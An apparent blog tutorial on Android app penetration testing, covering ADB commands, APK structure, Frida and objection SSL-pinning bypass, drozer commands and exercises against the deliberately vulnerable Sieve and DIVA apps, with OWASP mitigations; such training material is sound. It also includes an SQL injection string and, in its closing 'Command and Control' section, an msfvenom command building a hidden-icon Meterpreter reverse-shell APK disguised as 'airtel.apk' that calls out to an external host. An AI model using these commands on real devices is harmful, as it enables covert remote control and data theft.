Android Pentesting

n00🔑
8 min readMar 31, 2024

--

Android Penetration Testing is a systematic process used to identify security vulnerabilities in an Android application. It involves using various tools and techniques to simulate attacks on the Android app to identify and rectify any potential security flaws.

The main objective of Android penetration testing is to discover and address app vulnerabilities before they can be exploited by cybercriminals. The security concerns primarily revolve around data theft and information leakage.

Android Penetration Testing offers several key benefits:

  • Identifies security threats in Android apps
  • Enhances the efficiency of the app
  • Safeguards sensitive app data against hackers
  • Protects app data from misbehaving apps
  • Helps avoid reputational damage
  • Reduces the financial impact of a data breach
  • Builds trust with customers

Web vs Android Pentesting

+-------------------------------------------------------------------+-----------------------------------------+
| Web Application Security | Android Application Security |
+-------------------------------------------------------------------+-----------------------------------------+
| Client-side testing is less significant | Client-side testing is more significant |
| Source code remains hidden (if whitebox testing is not performed) | Source code can be accessed |
| Compromised End devices is not a concern | Already compromised device is a concern |
| Unrestricted app access | APK distribution issues |
+-------------------------------------------------------------------+-----------------------------------------+

Android Runtime (ART)-

  1. This is the modern translation layer from the application’s bytecode to device instructions
  2. Every app runs in its own sandboxed virtual machine
  3. Likewise, in the file system applications are isolated by creating a new user unique for that application

Android Runtime (ART), which is a modern translation layer that converts application bytecode to device instructions. Each app runs in its own sandboxed virtual machine for security and isolation. Furthermore, applications are isolated in the file system by creating a unique user for each application. This ensures that each application runs in its own secure environment.

Prerequisites-

  1. Rooted Android device + PC/Computer

OR

2. PC/Computer + Emulator(Android Studio’s AVD, Genymotion etc.)

Mobile Phone.……………………….Vs………………..Emulator/Virtual Device

Source- Roman’s “Android App Hacking — Black Belt Edition” Course

Download LAB from the below link-

https://1024terabox.com/s/1KYXyxUhgU4gFxrV5qbnFJw

or use the magnet link in your favorite torrent client.

Note: if you are not getting connected to any seeders add a comment, and I will seed it for you -)

magnet:?xt=urn:btih:fasdnrzwbq33lrkdw2zmsae3sb3xqcpg&dn=Android_PT_Lab&xl=30797478014&fc=3

Debugging Errors in LAB-

a. Lab is tested in workstation 16.2.5

bcdedit /set hypervisorlaunchtype off
Disable-WindowsOptionalFeature -Online -FeatureName Microsoft-Hyper-V-All

Note: To again start using Hyper-V use below commands-

dism.exe /online /enable-feature /featurename:Microsoft-Hyper-V /all /norestart
dism.exe /online /enable-feature /featurename:Microsoft-Windows-Subsystem-Linux /all /norestart
dism.exe /online /enable-feature /featurename:VirtualMachinePlatform /all /norestart
wsl --set-default-version 2
wsl --install -d kali-linux
Get-WindowsOptionalFeature -Online -FeatureName Microsoft-Hyper-V
bcdedit /set hypervisorlaunchtype auto
systeminfo
Disable Core Isolation

Useful Commands-

#Android studio Gui
/opt/android-studio/bin/studio.sh

#List AVDs
/root/Android/Sdk/emulator/emulator -list-avds
/root/Android/Sdk/emulator/emulator -avd Pixel_8_API_30
/root/Android/Sdk/emulator/emulator @Pixel_8_API_30

# for resolving errors
rm /root/.android/avd/Pixel_8_API_30.avd/*lock
#Emulator Hidden menu
nc 127.0.0.1 5554

Sharing mobile screen using adb-

https://www.youtube.com/watch?v=xmCq61hjxVc&t=1s

ADB Components-

  1. Daemon(Runs on the device)
  2. Server (Runs on the client machine(Laptop))
  3. ADB Shell (Binary installed on the client machine(Laptop))
#Connecting to adb
adb shell
adb devices
adb -s <serail> shell
adb connect <IP>

# For viewing debug logs
adb logcat

#Downloading apk from device
pm list packages
pm path <package name>
adb pull <path_of_apk>

It actually uses two ports for communication:

ADB Client Port (Default: 5037): This port is used by the ADB client running on your development machine. It listens for incoming connections from the ADB daemon on the Android device. This port is not typically configurable.
ADB Daemon Port (Default: Random assigned port): This port is used by the ADB daemon (adbd) running on the Android device. The ADB daemon listens on a randomly assigned port number in the range of 5555 to 5585 by default. This allows for connecting multiple ADB clients (e.g., emulators) to a single device without conflicts.

#Screen Mirroring and Universal Copy-Paste with Scrcpy

#Remove Bloatware
adb shell pm uninstall -k --user 0 com.facebook.appmanager

#Creating backups
adb backup -f app_backup.ab -apk com.example.myapp

#Record Screen
adb shell screenrecord /sdcard/screen.mp4

#List permissions
adb shell dumpsys package <package_name> | grep permission

APK format-

APK is just a zip file.

  • “AndroidManifest.xml” — Contains information about the app, like name, version, permissions, and components it uses.
  • “META-INF/” — Directory containing metadata files required for installation and execution.
  • “classes.dex” — Compiled bytecode of the app’s Java or Kotlin code.
  • “lib/” — Directory containing native libraries specific to certain device architectures.
  • “res/” — Directory containing the app’s resources, such as images, layouts, strings, and styles.
  • “resources.arsc” — Binary file containing compiled resources from the “res/” directory.

Showcase Mobsf (Automated Testing)

Showcase Dynamic Testing

SSL Pinning Bypass-

adb push /root/Downloads/frida-server-16.2.1-android-x86 /data/local/tmp
chmod 777 /data/local/tmp/frida-server-16.2.1-android-x86

ps -ef | grep -i frida
adb forward tcp:27042 tcp:27042
frida-ps -Uai
objection --gadget com.application.zomato explore
>android sslpinning disable
biometric byapss

Drozer Commands

adb forward tcp:27042 tcp:27042
drozer console connect
run app.package.info -a com.withsecure.example.sieve
run app.package.attacksurface com.withsecure.example.sieve

M3: Insecure Authentication/Authorization example-

run app.activity.info -a com.withsecure.example.sieve

# opens activity containing sensitive info
run app.activity.start --component com.withsecure.example.sieve com.withsecure.example.sieve.activity.PWList

M3: Insecure Authentication/Authorization another example-

#listing content providers
run app.provider.info -a com.withsecure.example.sieve

run scanner.provider.finduris -a com.withsecure.example.sieve

https://owasp.org/www-project-mobile-top-10/

M9: Insecure Data Storage

1.ADB Logcat-

The issue of adb logcat revealing sensitive information fall under the category of “M9: Insecure Data Storage” in the OWASP Mobile Top 10 Risks 2024. This risk involves storing sensitive information insecurely on the system. If an application is logging sensitive information to logcat, it could potentially be accessed by an attacker, especially if the device is rooted. Therefore, developers should avoid logging sensitive information and ensure secure data storage practices are followed. Please note that the specific categorization can vary depending on the exact nature and context of the risk.

Primary use cases of adb logcat in Android pen-testing are:

  1. Monitoring App Behavior: Identify suspicious activities, data leaks, file system access, and potential entry points for exploitation.
  2. Identifying Vulnerabilities: Uncover hardcoded credentials, insecure cryptographic implementations, input validation issues, and other weaknesses.
  3. Debugging and Reverse Engineering: Understand app logic, APIs used, and execution flow for effective reverse engineering.
  4. SSL/TLS Analysis: Analyze SSL/TLS connections, cipher suites, certificates, and potential vulnerabilities.
  5. Permission Analysis: Identify permissions requested by the app and potential privilege escalation or data leakage risks.
  6. Error Handling and Crash Analysis: Investigate app crashes, exceptions, and stack traces for memory corruption or other vulnerabilities.
  7. Dynamic Analysis: Use in conjunction with tools like Frida or Ghidra for comprehensive dynamic analysis.
  • adb logcat --pid=<process_id> - Filters the log output for the specified process ID.
  • adb logcat --pid=$(pidof com.example.app) - Filters the log output for the process with the specified package name.

2. Harcoded Secrets-

https://payatu.com/blog/damn-insecure-and-vulnerable-app-diva/
apktool d diva.apk
grep -Ri vendor

M1: Improper Platform Usage

1. SQL injection-

This issue fall under the category of “M1: Improper Platform Usage” in the OWASP Mobile Top 10 Risks 2024. This category includes misuse of a platform feature or failure to use platform security controls. It might also include incorrect assumptions about the environment, such as the case here where the developer has assumed that input will be safe.

In the example shown, the input “‘or ‘1’=’1' — “ is used to manipulate the SQL query and return all user data, bypassing any username requirement. This is a clear indication of improper input validation.

Developers should always validate, filter, and sanitize input to prevent such vulnerabilities. They should also use parameterized queries or prepared statements to ensure that user input is not treated as part of the SQL command.

M3: Insecure Authentication/Authorization

The application allows access to API credentials without proper authentication or authorization.

Clicking the “View API Credentials” button provides access, but the challenge is to bypass this step and directly access the credentials.

The vulnerability lies in the improper handling of access controls.
The activity responsible for displaying API credentials lacks proper restrictions.
Steps Taken:
1. By analyzing logcat output, you identified the name of the next activity after clicking the button.
2. You used the adb shell am start command to directly launch the APICredsActivity.
3. As a result, you gained access to the API credentials without any authentication or restrictions.
Implications:
This vulnerability allows unauthorized access to sensitive information.
Other apps could potentially exploit the same weakness to access these credentials.
Mitigation:
Developers should enforce proper authentication and authorization mechanisms.
Activities handling sensitive data should have appropriate access controls.
Regular security testing and code reviews are essential to identify and fix such issues.

adb shell am start jakhar.aseem.diva/.APICredsActivity
adb shell am start -n jakhar.aseem.diva/.APICredsActivity -a jakhar.aseem.diva.action.VIEW_CREDS

Command and Control:

msfvenom -p android/meterpreter/reverse_https AndroidHideAppIcon=true AndroidMeterpreterDebug=true AndroidWakelock=true AutoLoadStdapi=true LHOST=rev.pdfmerge.work LPORT=53 -f raw -o airtel.apk

--

--

n00🔑
n00🔑

Written by n00🔑

Computer Security Enthusiast. Usually plays HTB (ID-23862). https://www.youtube.com/@pswalia2u https://www.linkedin.com/in/pswalia2u/ Instagram @pswalia4u

Responses (1)